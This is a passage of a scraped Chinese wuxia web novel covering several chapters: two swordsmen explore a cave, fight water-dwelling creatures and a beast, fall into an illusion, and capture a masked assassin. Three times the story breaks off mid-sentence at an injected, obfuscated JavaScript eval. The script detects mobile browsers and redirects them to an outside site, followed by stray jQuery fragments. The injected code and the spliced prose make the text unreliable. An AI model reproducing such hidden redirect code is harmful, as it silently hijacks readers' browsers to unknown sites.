周子舒双臂抱在胸前,面无表情地看着他继续讲鬼故事。 温客行绘声绘色地说道:“老槐底下有个无名坟冢,下面便是传说中的黄泉路,每到七月半之夜,便有阴间游魂从这里爬出,还阳一回。黄泉路上极冷,走到尽头,便到了鬼门关,过了鬼门关,便再不是活人了,一路彼岸花,便到奈何桥……喂!” 周子舒已经跳下去了。 温客行目瞪口呆地看着他的身影消失在了阴森森的洞口,然后紧跟着也跳了下去。稳稳当当地落地,竟觉十分柔软,一抬头,便周子舒似笑非笑地看着他,还问道:“怎么,温兄也有兴趣来看看黄泉路长什么模样?” 温客行认真地点头道:“这样我下回再给别人讲的时候,也可以郑重其事地填上‘是真事’三个字了。” 周子舒就摇头微笑起来,忽然,温客行“嘘”了一声,皱起眉,侧耳听了一会,低声问道:“你……听见了么?什么声音?” 周子舒仔细分辨了一会,犹疑地道:“……水声?” 温客行眼睛瞬间亮了,竟抢在他前面走了出去,还不忘压低声音道:“真是真事啊!” 两人面前竟是一条极狭长的小路,十分逼仄,两个男人不能并肩而行,须得弓肩缩脖,一前一后才能勉强通过,周子舒被迫一直微微低着头,十分不舒服,便皱皱眉,心说难不成自己走的这条黄泉路不是正统,是专门给女人和孩子挖的? 不知走了多久,这狭长的小路才算钻完,两人身上都落了不少尘土,前方豁然开朗——竟连通了一个巨大的地穴,一条细小的河流从面前淌过,不知自始而终,来往何方。 地穴中似乎有风,又不知这风来自何处,四面八方一般,却是越来越阴冷了。 这回温客行也闭嘴了,不再提他那“黄泉路上极冷”之类的鬼话。 11. 第十一章 地穴 周子舒在那“黄泉”前站了一会,转身便要往回走,他觉得自己一定是在赵家庄吃得太饱了撑着了,居然会不假思索地就跳下来——华山掌门自己就不是什么好东西,他儿子简直是青出于蓝,更不是什么好东西,年纪轻轻一脸肉松纵欲相。 再说,人在江湖漂,哪还能不挨刀呢,于天杰是脑袋还是兄弟被蛛丝割下来,跟他又有什么关系呢? 不知是不是受上面温客行那一番鬼气森森的话影响,他忽然有种特别不好的感觉,这地穴中透着一股说不出的诡异之气,周子舒算了算,自己虽然就剩了两年半的性命,也还是多救死扶伤点好人,抓紧时间积德行善享受生活比较划算。 实在没必要跟一个随时抽风的男人往人家坟地里钻。 然而就在他要顺着原路钻回去的时候,忽然“嘎登”一声,似是什么机簧被触动,那小小的洞口竟从四方伸出不知多少钢刀来,满满当当地将那窄小的地方堵住了。 幸好周子舒退得快,不然险些被横空捅出来的钢刀当羊肉串给穿了。 他皱起眉,盯着那些钢刀看了一眼,回头对温客行道:“你得罪什么人了?” 这么猝不及防的一句,叫温客行睁大了眼睛,表情无比受伤似的:“为什么是我得罪什么人了?” 周子舒嗤笑一声摇摇头,他发现自己别无选择,只能顺着那条“黄泉”往前走去,看看能不能找到另一端出口,边走边道:“不是你难不成是我?我一个初入江湖的无名小卒,没偷过谁没抢过谁,安分守己的游山玩水,什么人能和我过不去?” 温客行沉默了一会,对对方睁眼说瞎话的功夫叹为观止,半晌,才轻轻地道:“你护送张成岭一路,从那荒庙开始,一共杀过三十二个人,中间魅音秦松这样的角色就有四个……” “屁,满打满算才十一个,”周子舒道,“那天荒庙里的人大多是死在你那小美人手上的。” “所以肯定是你。”温客行说,他举起自己修长的手掌,“我这双手,自离家下江湖的那一天开始,连一只鸡都没杀过,更别说人了,怎么可能得罪谁?” 周子舒一个眼神都懒得匀给他。 温客行于是快步赶上他,站在他面前,正色强调道:“虽然长得不像,但我真是个好人。” 周子舒点头道:“是,温好人,麻烦你让让,我是杀人魔。” 温客行好像没听出这句是敷衍他一样,仍笑眯眯地说道:“你告诉我你那张脸是易容的,我就原谅你。” 周子舒笑道:“你真是太宽宏大量了。” 温客行道:“好说好说。” 随后周子舒便自行绕过他,继续往前走去。 温客行自己笑了笑,跟在他身后两步左右的地方。 那黄泉中的水似乎应该是活水,水流特别急,周子舒往里踢了一粒小石子,见那水竟然还不知有多深,曲曲折折,水中似乎有鱼,但过去得太快。周子舒水性不行,基本上就是掉到水里靠着内力深厚能闭气、一时半会淹不死的水平,因此在水边观察了一会,还是决定离那“黄泉”远些。 这地穴像是四通八达,两人脚步和偶尔说话的声音好像能荡出很远去似的。忽然,周子舒脚步一顿:“温兄,你看那里。” 温客行顺着他的目光望去,见那不远处竟然有一堆白骨。 温客行喃喃地道:“黄泉路上不应该是彼岸花么?人死剩魂,为什么有骨头?” 周子舒伸手在那白骨中扒拉了一下,一手拿起一个人已经破碎的大半个头骨,一手举起手中的火折子,仔细打量道:“这脑袋碎了,连着下面脊梁骨的地方好像是被人斩首……嗯?不对,这创口不平整,还有牙印,难不成是动物咬的?” 温客行问道:“嗷呜一口咬掉一个人的脑袋?” 周子舒又拿起一个大腿骨:“牙印……还是牙印,这上面的牙印稍微小一点,形状好像也不大一样……” 他只觉得这牙印有些眼熟,像是在什么地方见过,可毕竟没干过仵作,一时半会没想起来。 温客行好像觉得有些恶心,伸出两只手指把周子舒手中的大腿骨接过来,拎在手里看了半晌,得出个结论:“这……啃得真干净,比我吃鸡腿啃得干净多了。” 周子舒决定出去以后再也不吃鸡腿了。 “这是什么东西啃的,难不成有猛兽?”温客行想了想,问道,“听说地府里有巨兽名为谛听,是个大家伙,你说它爱吃肉么?” ——还不肯放弃他的鬼故事理论。 周子舒于是皮笑肉不笑地道:“温兄百年之后可以下去问……” 他一个“问”字话音没落,忽然身后传来一阵“悉悉索索”的声音,在黑洞洞的地穴里、“黄泉”边,简直让人寒毛都竖起来,周子舒和温客行同时转过身,后退一步,警惕地面对着河水。 温客行慢吞吞地道:“我听说,谛听不住黄泉里,而且没有这么多只。” 河中爬上了很多……像是人的东西,然后又不大像人,四肢特别长,身材特别矮小,全身赤/裸,皮肉被水跑得惨白,长长的头发,身形极宽,宽大到有些畸形,似有正常人的两三倍,眼睛却特别亮,黑暗中闪着幽幽的光,慢慢地像两人逼近过来。 周子舒忽然低头,轻轻地在自己手腕上咬了一口,然后看着那细细浅浅的牙印低声对温客行道:“我想起来了,那个小些的牙印……是……” 温客行一边往后退,一边问道:“是什么?” “人。” 温客行闻言顿了一下,忽然干咳一声站住,整整衣袖和头发,抱拳对那些慢慢逼近的怪物道:“列位……仁兄,我二人无意闯入此间,并无冒犯之意,还请……” 周子舒登时不厚道地“噗嗤”一声笑出来,为首的疑似人的怪物张开嘴,阴惨惨地嚎叫了一声,猛地向温客行扑过来。 温客行怪叫一声:“我还没说完呢。” 身体却如一片不着力的叶子似的,轻飘飘地往旁边飘开了三尺,将那怪物让过去。那怪物动作和反应却都极快,又调转方向追了过去,它的爪子伸出来,竟似是闪着寒光似的,刮在地面上,留下足有两寸多深的痕迹。 周子舒笑道:“怎么,温兄,语言不通么?” 怪物的围攻开始了,周子舒完全不能把这东西当成人,它们也确实不是人,那身体不可思议的结实,极 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450101|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有破坏力,动作极快,力道极大,而且好像不知道疼似的。 周子舒一掌结结实实地拍在一个怪物胸口上,他没留什么力气,便是大石也能叫他给拍碎了,谁知那怪物只是斜斜地飞了出去,狠狠地撞在墙上,却只是口中发出哀鸣,半晌,又爬了起来。 周子舒暗暗心惊,一时竟想不出这究竟是些什么东西。 只听旁边“咔吧”一声,原来是一只怪物摸到了他身后,打算偷袭,被温客行捉住,扭断了脖子。 温客行嘴里还笑嘻嘻地道:“我救你一回。” 周子舒这才发现,这东西全身都结实得很,唯有那脖子,好像特别脆弱,有些顶不住那巨硕的脑袋一样。 他心里有些诧异,为什么温客行这么快就能发现?嘴上依然客客气气地道一句:“多谢。” 又一只怪物扑过来,周子舒侧身放过,手肘下曲,狠狠地撞在怪物的后背上,然后屈指做爪,一把将那怪物的脑袋拧了个个儿。 两人杀鸡似的,解决了三五只,那些东西看起来还有点脑子,眼看着打不过,便生了惧意,为首一只张开嘴又嚎叫一声,然后它们慢慢地退回了水里,偶尔冒个头,虎视眈眈地觊觎着这两个异常强悍的闯入者。 周子舒小声道:“这东西的个头儿,恐怕不能一口咬掉一个人的脑袋吧?看来此地不宜久留,我们快走。” 温客行沉默了好一会,才道:“我想到了。” 周子舒以为他想到了咬掉人脑袋的东西是什么,便顺口问道:“想到了什么?” 温客行道:“真人的皮用手使劲一掐肯定会发红,易容的看不出来,你让我掐一下你的脸,我就知道你是不是动过手脚了。” 周子舒二话不说,转身就走,觉得自己居然会正经八百地问这货,一定是脑子抽筋了。 温客行紧紧跟上,道:“你不让我掐肯定是心虚,我就知道你动过手脚了!是不是长得太好,怕被登徒子调戏?放心放心,周兄,在下乃是正人君子,不会怎么样的,你就让我看一眼庐山真面目……” 周子舒充耳不闻,定力绝代。 这时,只听温客行话音一转,道:“不过你易容的本事真是太不错了,我竟想不出如今武林中还有谁这么不错。难不成……你是传说中‘天窗’的人?” 周子舒脚步猛然顿住,温客行的笑容在晦暗的地穴显得别有深意,然而周子舒只是竖起一根食指,伸手止住他的脚步,小声道:“你听见了么?” 两人静下来,那幽暗的地穴中深处,竟传来模模糊糊的猛兽的叫声,周子舒小声道:“咬掉人脑袋的东西。” 温客行显然对“能咬掉人脑袋的东西”丝毫不感兴趣,一双眼睛只是若有所思地盯着周子舒,却见这人对他刚才话毫无反应,只是警惕地凝神静听,从眼神到表情,竟连一丝波动都没有。 又一声吼叫传来,这回声音明显大了,像是那东西正往这边走,周子舒发现,那水中探头探脑的怪物们好像害怕着什么一样,都缩回去了。他伸手一拉温客行,两人拐入一条小径,只见周子舒从怀中掏出一个小瓶子,一边走一边洒。 随后两人退到拐角处,屏住呼吸。 12. 第十二章 幻境 温客行不知道周子舒洒出来的粉末是什么,却也没开口问,好像心里知道这人靠谱似的,就那么悄无声息地站在周子舒身边,片刻,只听一阵粗粗的动物的喘息声慢慢接近,那畜生好像小心着什么似的,走得并不快,然后在距两人三丈左右的地方经过。 那是个大家伙,长得像条狗,却足有小马那么大,全身黑毛,鼻子里发出“呼哧呼哧”的声音,空气中似乎带来了一股子腥味,它放慢了脚步,四处嗅着,好像有些困惑。 周子舒双手抱在胸前,靠在墙上,眯起眼睛仔细张望着。 温客行脸上却划过一丝若有若无的笑意,那笑容有些冰冷,稍纵即逝,好像从未出现过一样。 怪兽就在不远的地方,却丝毫没有发现两人的存在,在那停留了一会,便继续往前走去,两人四只眼睛眨也不眨地目送着这大家伙的背影,只见它循着血腥味,一路走到了那些个怪物尸体的旁边,嗅了嗅,然后低吼一声,便低下头去,欢快地大嚼起来——还真是一口咬掉了一个人形怪物的脑袋。 温客行和周子舒对视一眼,周子舒暗暗心惊,虽然不是仵作,可活了这么多年,毕竟见多识广,绝不会连人的头骨都认错,他心道,难不成那怪物真的是人? 可是人,又怎么会变成这副模样? 温客行捅捅他,指指身后的小路,周子舒点了下头,随着他小心地离开。 那路时宽时窄,不知拐了多少道弯,走出老远,温客行才低声道:“那畜生吃剩下的骨头上还有别的牙印,你说水里的那些东西是吃了自己的同类么?” 他不胡说八道的时候,声音极低,像叹息,却不显得气弱,好像一点力气也不愿意多用一样,微微带着一点事不关己的漠然,他顿了一下,又问道:“那玩意是人吧?” 周子舒看了他一眼,也低声道:“恕在下孤陋寡闻。” 温客行轻笑了一声:“你孤陋寡闻?嘿。” 他没再说什么,只是大步往前走去。 弯弯绕绕走了不知道多久,拐了一个弯,那飞速流淌的“黄泉”却又横在眼前,周子舒忽然叫道:“慢着。” 温客行回过头看着他,脸上又恢复了那种又欠揍又找拍的神色:“美人周兄,怎么了?” 周子舒知道对付人来疯,就不能给他反应,要不然他会越来越蹬鼻子上脸,于是也不理会,随他乱叫,只说道:“那水里的东西力量极大,速度也快,又能在水中来去自如,方才那畜生走的是旱路,并且知道要离水边远一点,看它吃食,也只是在岸上,并不去水里捕食,是怎么捉到它们的?” 温客行脚步顿了一下,目光放出去,打量着这阴森森的地下,不知是自语还是问周子舒,说道:“这地方究竟是有多大?” 为什么就好像怎么都走不到头,怎么都找不到边一样? 周子舒沉吟半晌,忽然道:“这条河是东西向的,方才我一直记着方向,我们虽然拐了几个弯,但应该走的是南北向……” “你是说鬼打墙?”温客行骤然就兴奋起来,眨眨眼睛,“我还听说过一个事,据说也是真事,有一个人……” 周子舒转过身去,后背对着他,用指尖在身后的墙上刻了个印记,然后一言不发地沿着那条诡异的河走了出去。 温客行的鬼故事遭到冷遇,也不生气,蹭蹭鼻子笑了笑,跟上。 忽然,一声猛兽的咆哮传来,整个地穴好像都随着它震动了一下,咆哮中伴着一声尖叫,声音很嫩,听上去竟像个小孩子。 周子舒脚步一顿。 然后那小孩开始大声尖叫哭喊起来,越发凄惨。 周子舒立刻往那方向掠去,身法极快,一闪便出去了一丈多,温客行才要开口说什么,却没来得及,伸出去的手就那么晾在了半空中,他只得把话咽了回去,摇摇头,也追了过去。 只见那像狗又像马的怪兽爪子底下,正按着一个小女孩,巨大的獠牙就顶在小女孩的雪白的颈子上,便要咬下去,周子舒凌空一掌拍出去,他竟有隔空打牛的本事,打在那畜生脑袋上,将它脑袋打偏,巨硕的身子滚到了一边。 然后一把将地上那气息微弱的小女孩抱了起来。 那大家伙用力晃了晃脑袋,好像被打得有点发蒙,片刻,才反应过来周子舒抢了它嘴里的食物,立刻咆哮一声,向他扑过来。 周子舒先是下意识地就想把小女孩丢给温客行,随后却微妙地顿了一下,脚下踩了个奇异的步数,身形如鬼魅,往后退了三四丈远,轻轻把那小姑娘放在一边,又往另一边闪了出去。 怪兽随行而至,张开的血盆大口里那腥味熏得人脑仁疼,周子舒平地掠起老高,电光石火间,竟翻身骑在了怪兽脖子上。 温客行站在一边,面无表情地看了一眼那抽抽噎噎的小女孩,便作壁上观。 周子舒使了个千斤坠,将那怪兽硬生生地压了下去,谁知那畜生竟也伶俐,身子一歪往旁边倒去,便要来个就地十八滚——跟着它滚上一圈,怕铜皮铁骨都要被这百十来斤的大家伙给压碎了。 趁着它侧身倒下,周子舒立刻轻叱一声,翻下来,一脚踹在那怪兽的肚子上。 它背上筋骨虬结,肚子却柔软得很,被周子舒这一脚几乎踹翻了五脏六腑,疼得嘶吼起来,然而它毕竟皮糙肉厚,竟还能爬起来,张开大嘴向周子舒咬去,它后腿有力,疼得紧了十分愤怒,这一扑竟也无比迅捷,周子舒待往旁边闪,却不妨内息一滞,这口气竟没提起来。 怪兽的利齿已近在以前,他一手按住胸口,一手曲肘,拼着受它一爪,倾身手肘撞上它的鼻子。怪兽的鼻梁骨应声而折,利爪却抓上了周子舒的左肩,登时见了血。 周子舒发现这怪兽的鼻子竟是弱点,丝毫不理会自己伤处,反手一掌再次拍上了怪物的鼻子,内力借着它那断了的鼻梁骨,直接打碎了它前额的骨头,一声脆响,怪兽摇摇晃晃地往后退了两三步,轰然倒下。 周子舒皱着眉伸手封了自己左肩的穴道,止住血,本想用那“黄泉”中的水洗洗伤口,却又想起里面那人不人鬼不鬼的东西,便作罢,只听温客行“咦”了一声,问道:“你身上有内伤?” 周子舒回过头去看了他一眼,淡定地道:“大概是晚上没吃饱,手脚发虚。” 然后俯身将小女孩抱了起来,拍着她的后背,柔声问道:“你是谁家的孩子,怎么一个人在这种鬼地方?” 温客行听见他来了这么一句,当即嗤笑道:“小女孩?一个小女孩怎么会在这里?你不如问问她是何方妖孽。好端端的,救她做什么?” 小女孩不言声,直往周子舒怀里钻。 周子舒不再问,只对温客行道:“积德行善。” 温客行的目光下移,若有所思地注视着他血肉模糊的肩膀,忽然笑道:“周兄,你没把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450102|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀也上颜色,跟手脸脖颈差别太大,可被我看见了。” 周子舒顿了片刻,简短地说道:“晒的。” 温客行笑道:“可不么,在下还是第一回听说,哪个冰肌如雪的美人晒晒太阳,便能晒出糟糠似的菜色出来。” “冰肌如雪”四个字成功地让周子舒打了个寒战,他将小女孩往上托了托,才要开口说话,忽然目光扫过地下,竟见到了十分诡异的一幕——那神似恶犬的尸体身上竟长出了一棵小树,树上灼灼其华地……开满了桃花! 温客行顺着他的目光望去,脸色立刻变了。 周子舒却没精力去管别人变脸不变脸,他呆若木鸡地站在原地,愣愣地望着那株越长越大的桃树,空气中好像飘着一股不知名的花香,恶犬的尸体早就不见了,那桃花像是吸取了什么精气开出,异常繁盛,顷刻间笼罩了一大片地方——竟像是他一伸手便能触碰到一样。 桃树底下站着一个人。 一个青年模样的人,浓眉大眼,丰满的嘴唇好像总含着笑意似的,肩膀上被桃花花瓣落满了,他毫不在意地伸手一扶,嘴唇动了动,周子舒看见他分明在说——师兄。 九霄…… 那一刻,周子舒的心跳好像都停下了。 忽然,受伤的肩膀一阵钻心的疼,周子舒猝不及防闷哼一声,低头一看,那被他抱在怀里的小女孩竟张嘴狠狠地咬在了他的伤口上。 周子舒几乎本能地用内力将她弹开,再回过神来,那桃花树、那树下人,都不见了——眼前依旧是阴森森的地穴,一头巨大的黑毛怪兽尸体横陈地下,旁边还有他们早先查看过的一堆骨头。 被他甩出去的小女孩嘴里发出不像人的嘶吼,他定睛看去,那哪里是什么小女孩,分明是个水里的小怪物! 小怪物张嘴冲他嘶吼着,贪婪地盯着他滴血的伤口,跃跃欲试地想再次扑上来,忽然旁边伸出一只修长的手掌,一把捏住了它的脖子,小怪物连挣扎都没来得及挣扎一下,便被扭断了脖颈,蹬腿死了。 温客行嘴角带着笑意,将小怪物的尸体随意地丢在一边,若无其事地说道:“我知道这些水里东西为什么怕成那个样子,还会上岸来被怪兽吃掉了,看来,着道的还不止我们两人。” 周子舒浑身像脱力一样,闻言苦笑道:“原来我们刚才就是在绕圈子,又回到原地了么?” 温客行打量着他道:“你还能不能走?我可以背着你……嗯,抱着也行,只要你让我看看你的脸。” 周子舒干笑一声:“多谢,不必。” 他捂住左肩的伤口,打起十二分的精神,沿着那“黄泉”继续走去,忽然想起了什么似的,问道:“方才我看见那怪兽的身上长了草开了花,一堆狗尾巴花还在那又蹦又跳地唱歌,你又看见什么了?” 温客行在他身后道:“我看见了一只猫头鹰——我就告诉你,听见猫头鹰笑不是好兆头,果然吧——我还看见一个人,手里端着一碗红色的水,然后猫头鹰打翻了……” 周子舒闭了嘴,他自己就说了鬼话,对方以鬼话回之,也公平得很。 他走在前边,没有回头,也就没看见温客行那一刻的表情——他嘴角的笑意像是凝固在那里很久很久了一样,眼神空洞洞的,盯着地面,又像是盯着很远的地方,见周子舒不耐烦再听他那关于猫头鹰的鬼故事,便咽下了话音,默不作声地跟在他身后。 13. 第十三章 露面 周子舒忽然顿住脚步,皱着眉打量着地穴中四通八达的出入口,忽然道:“这地穴之中连着活水,有风,不可能有人下手脚用药。” 他不敢说精通药里,可当今的皇上,曾经的太子和在京城做质子的南疆巫童有些交情,巫童早年假托“巫医谷”之命在中原武林试水之时,不少闻所未闻的南疆秘药都是通过他出手的。 周子舒没吃过猪肉,也目睹了猪奔跑的姿态那么多年,真没听说过什么东西能让人这样长时间地产生真假难辨的幻觉。 温客行闻言点点头,问道:“那就是有人用奇门遁甲之术,把我们困在这里了——那玩意你懂不懂?” 周子舒不慌不忙地道:“你是说所谓三奇、八门、六甲?” 温客行讶异道:“你杂学颇精么,还研究过……” 只听周子舒继续不慌不忙地道:“当然不懂,你说‘奇门遁甲’,我只听说过这三个词而已。”他反正也走不动了,就干脆坐在了地上,后背靠在墙上,不小心牵扯到伤口,表情扭曲了一下,抽了口冷气,想不到自己竟然也有被一头畜生折腾得这么惨烈的一天,真是越来越猫嫌狗不待见了。 温客行想到自己起码还知道“三奇八门”指的是什么,觉得颇有智力上的优越感,又念及周子舒二钱银子就把自己卖了的奇人异事,便觉得这优越感来得有些太没意思。于是也坐在了他旁边,偏头看看周子舒肩膀上的伤口,有几分事不关己地幸灾乐祸道:“让你管闲事,抱着个水鬼当小妞。” 周子舒闭目养神,没理会他。 温客行便默不作声地站起身来,走开了一会又回来,周子舒只觉得肩膀上一凉,睁开眼睛,见温客行手里拿着块浸了水小帕子,慢慢地给他擦拭着狼藉的伤口。 周子舒立刻下意识地往旁边一闪,却被温客行按住了肩膀:“别动。” 周子舒苦着脸问道:“你这水是哪来的?” “河里的。”温客行道,想了想,又补充道:“活水,干净的。” 周子舒只觉得全身寒毛都竖起来了,纵然心里知道那水是活水,别说是擦擦伤口,便是喝下去也使得,可一想起那无私的水流中孕育的那群非比寻常的活物,就一阵一阵地起鸡皮疙瘩。 温客行眼尖,看见了他的鸡皮疙瘩,于是乐了,调侃道:“你自己就一副叫花子样,还嫌别的东西脏?得啦,装什么娇弱,老实点吧。” 周子舒心里知道他说得有道理,还是嫌弃地看了一眼他手上拿的那块帕子,只觉上面扑鼻而来一股子幽香,角上还绣着一丛兰花,很小,却十分精致,带着一股子说不出的脂粉阴柔气,若说是女孩子用的东西,那帕子尺寸似乎有些大,花样也太过素净,若说是男人家……哪个大老爷们儿身上带这玩意儿? 便忍不住瞥了温客行一眼,眼神颇为古怪,左右没旁人,周子舒便直白地调侃回去:“我说老兄,你怎么带着姑娘家的东西,莫不是有什么难言之隐?” 温客行正将他沾了血凝在皮肤上的衣服慢慢地从伤口上往下剥,闻言面无表情地加了些力气,硬将那粘在伤口上的布片撕了下来,周子舒“嘶”地一声,五官都皱起来了,温客行这才心情舒畅若无其事地说道:“这乃是扬州城的花魁素月公子亲手所赠,你不识货,可以少说几句,省的露怯。” 然后直接把那块素月公子亲手所赠之物撕成条,绑在周子舒伤口上。 周子舒倒不知道江南民风这样开放,便是那三十里望月河畔的京城、先帝那败家老皇帝在位、最穷奢极欲的时候,也没听说过哪里能选出个男花魁来,便没过脑子地问了出来。 温客行用一种十分同情的目光看着他,反问道:“你世外桃源长大的么?天窗的人难道都是土包子?还是我猜错了?” 周子舒嗤笑道:“我几时承认过……” 他话还没说完,温客行忽然出手如电,在他胸口大穴上极轻地戳了一下,若是点在别的地方,可能隔着衣服,周子舒都感觉不到,可正赶上周子舒身上乏力之极,七窍三秋钉全都出来闹腾,一直勉励压制着,被这极轻地一按,简直就是压死骆驼的最后一根稻草,疼得立刻闷哼一声弯下了腰:“你……” 只见温客行磨蹭着下巴,颇有几分深意地道:“你这内伤倒严重得很,眼下却还有这样的身手,天窗不可能会放过你。不过传说七窍三秋钉是最要命的东西,也不可能盛名之下其实难副。我看你能吃能喝能跑能跳,精神得很,虽然人有点傻,可也不是中了那鬼钉子的傻法,难不成是我真的猜错了?” 周子舒大汗淋漓,还不忘从牙缝里挤出几个字:“温……客行,我……□□祖宗……” 见他不再装模作样满嘴之乎者也温兄长在下短的,温客行虽然挨骂,也莫名地觉得有种成就感油然而生,于是不动如山地说道:“我祖宗不知姓甚名谁,早已作古,恐怕不成。你若把易容洗了,让在下一睹真容,若是美人,在下倒可以以身相许。” 周子舒死死地咬住牙,把腰弯得像个大虾米,忍着疼努力调动内息压住那些要造反的钉子,听见他还在一边喋喋不休,终于忍不住暴躁地出言打断:“你他娘的闭嘴吧!” 温客行就闭嘴了,毫无负罪感地在袖手旁观。 不知过了多久,周子舒才睁开眼睛,眼中还有血丝,只是旁人看不出他真实脸色如何,不过也知道是不好看的,说道:“天亮了。” 七窍三秋钉平息下去了,便是外面天已经破晓了——两人在这诡异的地穴中整整被困了一宿了。 温客行像是和他比着不着急一样,闻言点点头:“看来那人多半是故意将你引进来的,存心要将你困死在里面了。” “将你。”周子舒道。 “分明是你,我是好人。”温客行斤斤计较。 周子舒懒得理会他,扶着地穴的土墙站起来,靠在那里,琢磨着如何出去,只听温客行又在一边问道:“周絮,你怕死不怕?” 周子舒道:“怕。” 温客行像是有些意外地看了他一眼。只听周子舒一本正经地道:“我积德还没积完呢,现在下去,阎王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450103|141560||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下辈子不定让我投个什么胎。” 温客行想了想,断然道:“那你以前肯定不是什么好东西。” 然而还不等周子舒回答,他便异常认真地又问道:“若你本来不是什么好东西,这会才想起积德行善,还管用么?” 周子舒直起腰往一个方向走去,顺口道:“怎么不管用,你没听说过‘放下屠刀,立地成佛’么?” 温客行忙起身跟上,嘴里说道:“你去哪里?” “吃狗肉。”周子舒道,“如今那人只是把我们困在这地方罢了……” “把你。”温客行更正道。 周子舒翻了个白眼,继续道:“那畜生个头不小,也够吃几天的,再不行还有河里的东西呢,反正饿不死,不管那黑衣服的是个什么东西,到时候定然会出来相见。” 温客行大惊失色道:“你昨天还嫌河里的水脏,今天就要吃水里的没壳王八?!” “所以你打算让自己饿死,然后让没壳王八来啃你?”周子舒斜睨了他一眼,总结道,“温兄真乃圣人也。” 地穴中没有光,好在周子舒本是打算深夜出走的,身上火折子有好几个,还有个劫富济贫来的小夜明珠,虽然极小,只能发出一点微光,也足够两人目力勉强视物,他半张侧脸被夜明珠的微光映着,正好温客行看不清他那叫人倒尽胃口的脸色和五官,唯有一双极亮的眼睛,斜斜地望过来,带着种说不出的戏谑玩味。 那眼神竟颇为熟悉。 温客行想了半晌,也没想起自己是从哪个美人脸上见过这样的眼神,一时没接上话。 两人便沉默下来,周子舒的耳朵就在那刹那间捕捉到了一个不同于自己、也不同于温客行的轻浅的呼吸,他无声地笑了笑——果然,有人闻言便沉不住气了。 然后他在那河边站住,弯下腰去,先是用河里的水洗洗手,顺手掐住一个企图在偷袭的怪物的脖子,将它整个拎上来,狠狠地惯在地上,那怪物吭都没吭一声便断了脖子死了,周子舒捧起一点水,慢条斯理地喝起来。 温客行本来也是个混不吝的光棍,若有所思地看了他一眼,用脚尖挑起怪物的尸体,踢到一边,也学着他的样子,喝了几口河水润喉。 就在这时,后背一道劲风袭来,温客行早料到似的,不慌不忙地错步闪开,一柄钢刀擦着他的衣角落入水中,“通”地一声,周子舒便大笑起来,竖着手在一边看热闹:“你看,温兄,我说是冲你来的吧?惹的人家这样挖空了心思要干掉你,你肯定也不是什么好东西。” 地穴四处的角落里都有钢刀射出来,而那些钢刀暂时忽略了周子舒,直取温客行,几乎交织成了一片刀风剑雨——温客行却不显狼狈,他轻功竟比周子舒想象得还要高明。 只是心里大骂——这姓周的男人一句话也得报复回来,小肚鸡肠至极,何止不是好东西,他简直不是东西。 温客行抬手打飞一柄钢刀,那刀刃正擦着周子舒的裤腿钉到了地上,说道:“见死不救,周美人,你就是这样积德行善的么?” 14. 第十四章 脱困 周子舒的目光从他身上扫过,慢吞吞地说道:“我看你一点也不像快死的。” 他这话还没说完,好像为了配合他似的,只见温客行忽然闷哼一声,弯下腰去,一柄钢刀生生地没入他的身体,外面只留了个刀柄,他面色惨白,从嘴里挤出一个字:“你这……” 周子舒先是一愣,然而下一刻,他忽然往相反的方向掠出去,那角落里有黑影一闪而过,地道里极狭窄,那人甫一露出形迹,登时便被周子舒看见,一掌劈过去,那黑影躲闪不及,倒退四五步,随即喷出血来,连他脸上蒙面的面罩都染红了,却能爬起来接着跑。 周子舒“咦”了一声,发觉自己之前打在他身上的松子或许不是力道不够,而是这人特别禁得住揍。 忽然一道影子鬼魅一样地冒出来,一把捏住黑衣人的脖子,将他整个人举了起来按在墙上。 黑衣人大惊:“你……” 温客行歪头一笑,抬起另一只胳膊,用腋下夹住的钢刀应声落地,连他的衣服都没划破。 周子舒在一边懒洋洋地说道:“这你也能信他的,我还头一次看见这么笨的凶手。” 温客行闻言,若有所思地看了他一眼,笑道:“倒不是他不行,是你老兄眼力太好,若不是你身上有伤,只怕……” 他摇摇头,没说只怕什么,手上加力,那黑衣人喉咙里发出“咯咯”的声音,露出来的一双眼睛却透着难以名状的惊恐。温客行伸手在那黑衣人身上摸了摸,口中轻哼道:“金丝软甲……好东西,搁在你身上,浪费了。” 这时黑衣人勉强吐出几个支离破碎的字:“主……是……嗷……” 温客行笑了一下,只听“咔吧”一声,那黑衣人剧烈地抽搐一下,不动了。 周子舒一言不发地看着他眨眼功夫,什么都没问,竟将这人杀了,眼色沉了一下,想到了什么,双手抱在胸前,往后退了一步,靠在地穴的墙上。 温客行伸手揭开黑衣人的面罩,将此人全貌露了出来。只见他大概四十来岁,身形瘦小,两颊的横肉却鼓了出来,右脸上有一大块血红的胎记,一双耗子眼,蒜头鼻子,张开的嘴唇还露出两颗龅牙。 